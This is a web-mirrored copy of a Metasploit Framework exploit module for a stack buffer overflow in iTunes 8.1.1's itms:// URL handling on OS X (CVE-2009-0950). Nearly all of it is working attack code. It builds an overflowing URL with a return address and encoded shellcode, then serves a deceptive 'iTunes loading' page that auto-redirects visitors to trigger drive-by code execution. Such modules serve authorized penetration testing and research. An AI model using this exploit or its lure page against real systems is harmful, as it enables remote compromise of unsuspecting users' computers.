CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/itms_overflow.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
# no popup required to visit itms:// URLs in Safari, so throw it in BAP
12
#include Msf::Exploit::Remote::BrowserAutopwn
13
#autopwn_info({
14
# :ua_name => HttpClients::SAFARI,
15
# :ua_maxver => "4.1",
16
# :ua_minver => "4.0.5",
17
# :javascript => false,
18
# :rank => NormalRanking,
19
# :os_name => OperatingSystems::MAC_OSX
20
#})
21
22
def initialize(info = {})
23
super(update_info(info,
24
'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
25
'Description' => %q{
26
This modules exploits a stack-based buffer overflow in iTunes
27
itms:// URL parsing. It is accessible from the browser and
28
in Safari, itms urls will be opened in iTunes automatically.
29
Because iTunes is multithreaded, only vfork-based payloads should
30
be used.
31
},
32
'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],
33
'License' => MSF_LICENSE,
34
'References' =>
35
[
36
[ 'CVE', '2009-0950' ],
37
[ 'OSVDB', '54833' ],
38
[ 'URL', 'http://support.apple.com/kb/HT3592' ],
39
[ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]
40
],
41
'Payload' =>
42
{
43
'Space' => 1024, # rough estimate of what browsers will pass.
44
'DisableNops' => true, # don't pad out the space.
45
'BadChars' => '',
46
# The encoder must be URL-safe otherwise it will be automatically
47
# URL encoded.
48
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
49
'EncoderOptions' =>
50
{
51
'BufferRegister' => 'ECX', # See the comments below
52
'BufferOffset' => 3, # See the comments below
53
},
54
},
55
'Platform' => %w{ osx },
56
'Targets' =>
57
[
58
[
59
'OS X',
60
{
61
'Platform' => [ 'osx' ],
62
'Arch' => ARCH_X86,
63
'Addr' => 'ATe'
64
},
65
]
66
],
67
'DisclosureDate' => '2009-06-01',
68
'DefaultTarget' => 0))
69
end
70
71
# Generate distribution script, which calls our payload using JavaScript.
72
def generate_itms_page(p)
73
# Set the base itms url.
74
# itms:// or itmss:// can be used. The trailing colon is used
75
# to start the attack. All data after the colon is copied to the
76
# stack buffer.
77
itms_base_url = "itms://:"
78
itms_base_url << rand_text_alpha(268) # Fill up the real buffer
79
itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp
80
itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
81
# The first '/' in the buffer will terminate the copy to the stack buffer.
82
# In addition, $ecx will be left pointing to the last 6 bytes of the heap
83
# buffer containing the full URL. However, if a colon and a ? occur after
84
# the value in ecx will point to that point in the heap buffer. In our
85
# case, it will point to the beginning. The ! is there to make the
86
# alphanumeric shellcode execute easily. (This is why we need an offset
87
# of 3 in the payload).
88
itms_base_url << "/:!?" # Truncate the stack buffer overflow and prep for payload
89
itms_base_url << p # Wooooooo! Payload time.
90
# We drop on a few extra bytes as the last few bytes can sometimes be
91
# corrupted.
92
itms_base_url << rand_text_alpha(4)
93
94
# Use the pattern creator to simplify exploit creation :)
95
# itms_base_url << Rex::Text.pattern_create(1024,
96
# Rex::Text::DefaultPatternSets)
97
98
# Return back an example URL. Using an iframe doesn't work with all
99
# browsers, but that's easy enough to fix if you need to.
100
return String(<<-EOS)
101
<html>
102
<head>
103
<title>iTunes loading . . .</title>
104
<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
105
</head>
106
<body>
107
<p>iTunes should open automatically, but if it doesn't, click to
108
<a href="#{itms_base_url}">continue</a>.</p>
109
</body>
110
</html>
111
EOS
112
end
113
114
def on_request_uri(cli, request)
115
print_status("Generating payload...")
116
return unless (p = regenerate_payload(cli))
117
#print_status("=> #{payload.encoded}")
118
print_status("=> #{payload.encoded.length} bytes")
119
120
print_status("Generating HTML container...")
121
page = generate_itms_page(payload.encoded)
122
#print_status("=> #{page}")
123
print_status("Sending itms page")
124
125
header = { 'Content-Type' => 'text/html' }
126
send_response_html(cli, page, header)
127
handler(cli)
128
end
129
end
130
131